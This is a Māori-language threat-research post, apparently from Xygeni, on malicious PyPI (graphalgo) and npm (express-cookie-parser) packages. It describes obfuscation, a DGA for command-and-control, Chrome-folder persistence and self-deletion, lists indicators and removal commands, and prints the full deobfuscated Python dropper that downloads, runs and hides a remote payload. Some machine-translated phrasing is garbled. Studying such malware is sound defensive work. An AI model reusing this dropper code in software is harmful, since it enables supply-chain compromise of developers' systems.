Nō nā tata nei i kite a Xygeni i tētahi tauira āwangawanga i roto i te whenua o ngā whakaekenga mekameka tuku pūmanawa i te tau 2025., e puta ake ana i roto i ngā kaiwhakahaere mōkihi rongonui e rua: PyPI a npm. Hei wāhanga o ā mātou mahi tirotiro tūraru tonu,Whakatūpato Moata mō te Pūmanawa Kino a Xygeni (MEW) i kitea e te taputapu tētahi tauira motuhake engari he rite te tikanga o tētahi mōkihi kino i tukuna ki tētahi atu rēhita i mua. E whakaatu ana tēnei take i te whanaketanga me te whakamahinga anō a ngā kaiwhakatūkino i ngā tikanga whakaeke puta noa i ngā pūnaha rauropi, inā koa mā roto i ngā mōkihi Python kino a ngā mōkihi npm kino, e whakapiki ake ana i te mōrearea o ngā mōkihi kino ki te whakauru ki ngā mekameka tuku pūtake tuwhera.
MEW a Xygeni: Te Kite i ngā Āhuatanga Rite
Kua hangaia te taputapu MEW a Xygeni hei kimi me te tohu i ngā mōkihi kino, inā koa ko ērā e hono ana ki ngā Whakaekenga Mekameka Tuku Pūmanawa i te tau 2025, ina whakaputaina ki ngā rēhita pūtake tuwhera. Ka mahi mā te tātari i ngā mōkihi hou mō ngā whanonga whakapae.
I tēnei tauira, i tautuhia e ia ngā mea e rua ngā mōkihi Python kino (graphalgo i runga i te PyPI) me ngā mōkihi npm kino (express-cookie-parser i runga i te npm).
Ngā Mōkihi Python me te npm kino i roto i ngā Whakaekenga Mekameka Tuku Pūmanawa (2025)
Me tūhura tātou i ngā āhuatanga ōrite i whakaoho i ā tātou matohi:
Te pato-kōpiko
I ngana rāua ki te whakaari i ngā mōkihi rongonui o mua.
- graphalgo (PyPI): "He mōkihi Python mō te waihanga me te whakahaere i ngā kauwhata me ngā whatunga."I tukuna ake e tētahi kaiwhakamahi ko "larrytech" I te 13 o Hune, 2025, i puta mai tēnei mōkihi hei huarahi kē atu ki te kaupapa graphalgo taketake, ā, i muri mai ka whakaingoatia anō ko graphdict.
- te kaitātari pihikete-tere (npm): I whai tēnei mōkihi i te mōkihi cookie-parser rongonui, tae noa ki te whakaata i ana README.md. He rautaki matarohia tēnei momo whakatangata hei whakapiki i te whakawhirinakitanga o nāianei.
Te Whakapōrearea hei Raina Tuatahi o te Parenga
I huna e ngā mōkihi e rua ā rāua waehere kino i roto i ngā kōnae taketake. Mō graphalgo, i kitea te waehere huna i roto i /utils/load_libraries.py. I roto i te take o kaitātari pihikete-tere, cookie-loader.min.js i roto te kawenga huna.
Ko tēnei paparanga tuatahi o te whakapōrearea ka whakamahia hei aukati i te tirotiro tūpono me te tātari pūmau. He tino māmā te whakapōrearea: te kōpeketanga ZLib me te whakawaehere Base64. E whakaatu mārama ana tēnei momo whakapōrearea kei te ngana te pūmanawa ki te huna i tana whanonga. I tua atu i ētahi atu taunakitanga, nā tēnei i taea ai e Xygeni MEW te whakarōpū i ngā mōkihi hei pūmanawa kino pea. I te wā whakaū, i tere te whakarite a ā mātou kaiarotake i tētahi tuhinga tango whakapōrearea i whakaatu i te wāhanga maturuturu kino.
Tukunga Utu Maha-Wāhanga me te Pūtake Tiritiri
I mahi ngā mōkihi e rua hei "tūatahi"waipiro"," te whakatakoto i te tūāpapa mō te kawenga tūturu. I tohaina e rātou he "waho" noauri"URL kōnae:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
He tohu kaha tēnei kōnae purapura o waho ōrite mō tētahi kaiwhakaari riri tiritahi. He mea whakamīharo, ko te ihirangi o tēnei kōnae purapura te āhua nei he taurangi taiao māmā noa iho (hei tauira, JWT_SECRET, PORT), ā, tera pea ka hē te tirotiro i tana mahi tuturu.
Taumira C2 Hihiri me te DGA
Ko tētahi rautaki matatau i kitea i roto i ēnei mōkihi kino ko te whakamahinga o tētahi Algorithm Whakaputa Rohe (DGA) hei whakatau i te tūmau Whakahau me te Mana (C2) i runga i te hihiri. Ko tēnei tikanga, e kitea pinepine ana i roto i ngā whakaeke mekameka tuku pūmanawa matatau i te tau 2025, e whakawhirinaki ana ki tētahi hash SHA256 i ahu mai i ngā ihirangi o te kōnae purapura, me ētahi atu uara kua whakapūmautia. Mā te mahi pera, ka huri pinepine te hanganga C2, ka iti ake te whai hua o te rārangi pango tuku iho. I tēnei take, i whakamahia e te momo npm he uara pumau o 496AAC7E hei wāhanga o tōna arorau DGA.
Te Whakatū i te Manawanui
I whai ngā kaiwhakaeke e rua ki te whakatū i tētahi aroaro pumau ki ngā pūnaha kua pāngia. Ko tā rātou rautaki he tuku i tētahi kōnae, startup.py (mō PyPi) rānei startup.js (mō te npm), ki roto i ngā whaiaronga raraunga kaiwhakamahi Google Chrome noa puta noa i ngā pūnaha whakahaere rerekē (Windows, Linux, macOS).
Te Horoi i Muri i te Whakatinanatanga
Hei whakaiti i ngā tohu, i whakahaerehia e ngā tuhinga kino e rua ngā mahi horoi. I uru atu ki tēnei te muku i ā rāua kōnae maturuturu tuatahi (load_libraries.py, cookie-loader.min.js) me te whakarerekē i ngā kōnae mōkihi tika (__init__.py, index.js) hei tango i ngā tohutoro ki ngā wāhanga kua mukua inaianei.
Ngā Tohu o te Whakakorenga i roto i ngā Mōkihi Python Kino me te npm
- Mōkihi PyPI: graphalgo (i whakaputaina e larrytech, 13 o Hune, 2025)
- Mōkihi npm: express-cookie-parser (te putanga 1.4.12 rānei)
- Te urunga ki te URL Purapura Tiritahi:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Ngā Ingoa Kōnae Pūmau:
startup.py(Python)startup.js(JavaScript) - Ngā Ara Pūmau Noa (e whakawhirinaki ana ki te OS): I roto i ngā whaiaronga raraunga kaiwhakamahi a Google Chrome (hei tauira,
AppData\Local\Google\Chrome\UserData\Scripts\i runga Matapihi,~/.config/google-chrome/Scripts/i runga i te Linux, me ētahi atu).
Me pēhea te tiaki i ngā mōkihi kino i roto i ngā whakaekenga mekameka tuku pūmanawa 2025
He Huarahi e Manakohia ana mō ngā Kaiwhakawhanake
He tauira ako nui tēnei i roto i te āhua o te riri e whanake haere ana o ngā whakaekenga mekameka tuku pūmanawa i te tau 2025. E whakaatu ana i te kaha o ngā mōkihi Python kino me ngā mōkihi npm kino ki roto i ngā pūnaha pono, ā, he maha ngā wā ka karohia te kitenga tae noa ki te mutunga rawa. Koia te take he wāhanga nui o tētahi rerengamahi DevOps haumaru te kitenga wawe, ngā taputapu atamai, me te akuaku pūnaha matatau. E akiakihia ana ngā kaiwhakawhanake kia whai whakaaro ki ēnei e whai ake nei:
Arotake i te Whakawhirinakitanga
Mena kua whakaurua e ō kaupapa graphalgo or kaitātari pihikete-tere, he mea whakaaro nui kia tangohia tonutia rātou.
- Mō PyPI:
pip uninstall graphalgo - Mō te npm:
npm uninstall express-cookie-parser
Te Akuaku o te Pūnaha
Whakaarohia te whakahaere i tētahi matawai pūnaha whānui. He mea tika hoki kia tirohia ā-ringa ngā ara whaiaronga raraunga kaiwhakamahi Chrome noa mō tētahi mea ohorere. startup.py or startup.js kōnae.
Nga Whakaritenga Haumarutanga
- Aromatawai i ngā Whakawhirinakitanga HouWhakatūria he tikanga hei arotake i ngā mōkihi hou i mua i te whakaurunga, me te arotahi ki ngā mea mai i ngā kaiwhakaputa tauhou.
- Whakauruhia ngā Utauta HaumarutangaNgā taputapu pēnei i te MEW a Xygeni, me ētahi atu Tātaritanga Hanga Pūmanawa (SCA) ngā otinga, ka taea te whakarato i tētahi paparanga tiaki nui mā te tautuhi i ngā whanonga me ngā ngoikoretanga whakapae.
- Tikanga iti rawaMā te whakahaere i ngā taiao whanaketanga me te mātāpono o te mana iti rawa ka āwhina i te whakawhāiti i te pānga pea o tētahi whakararuraru.
- Te Mōhiotanga WhatungaMā te aroturuki i ngā waka whatunga e haere atu ana mō ngā hononga rerekē ka kitea pea ngā whakawhitiwhiti kōrero C2 i hangaia e te DGA.
Waenga matua o load_libraries.py (mai i te graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Ka whakahaere i te tiki kōnae mai i ngā URL kua tohua.run_process(): Ka whakahaere i ngā tuhinga Python o waho i roto i te āhua motuhake, ka pehi i te putanga kia noho puku.get_output_file_path(): Ka whakatau i te tauwāhi pūnaha tino pai mō te kōnae startup.py pumau.remove_self(): Whakahaere i te horoinga whai muri i te whakatinanatanga o ngā kōnae kino tuatahi me ngā whakarerekētanga mōkihi.simple_shift_encrypt()/simple_shift_decrypt()Ngā mahi whakamuna ritenga mō te huna i ngā hongere whakawhitiwhiti kōrero, he mea nui mō te whakatinanatanga o te DGA.load_libraries()Ko te mahi matua e whakarite ana i te tukanga maha-wāhanga katoa, mai i te tango tuatahi ki te whakahaerenga me te horoinga o te kawenga whakamutunga.
Tuhinga o mua
Pērā i ētahi atu mōkihi kino pea i tautuhia e MEW, i tiakina tonutia e te pareārai whakawhirinakitanga ngā kaiwhakamahi e whakauru ana i ēnei mōkihi kino ki roto i ā rātou whakawhirinakitanga. Whai muri i te whakaū, i whai mātou i ngā tikanga whakamōhiotanga mō ngā rēhita e rua, ā, i muri i te arotakenga i tangohia ai ngā mōkihi e rua.
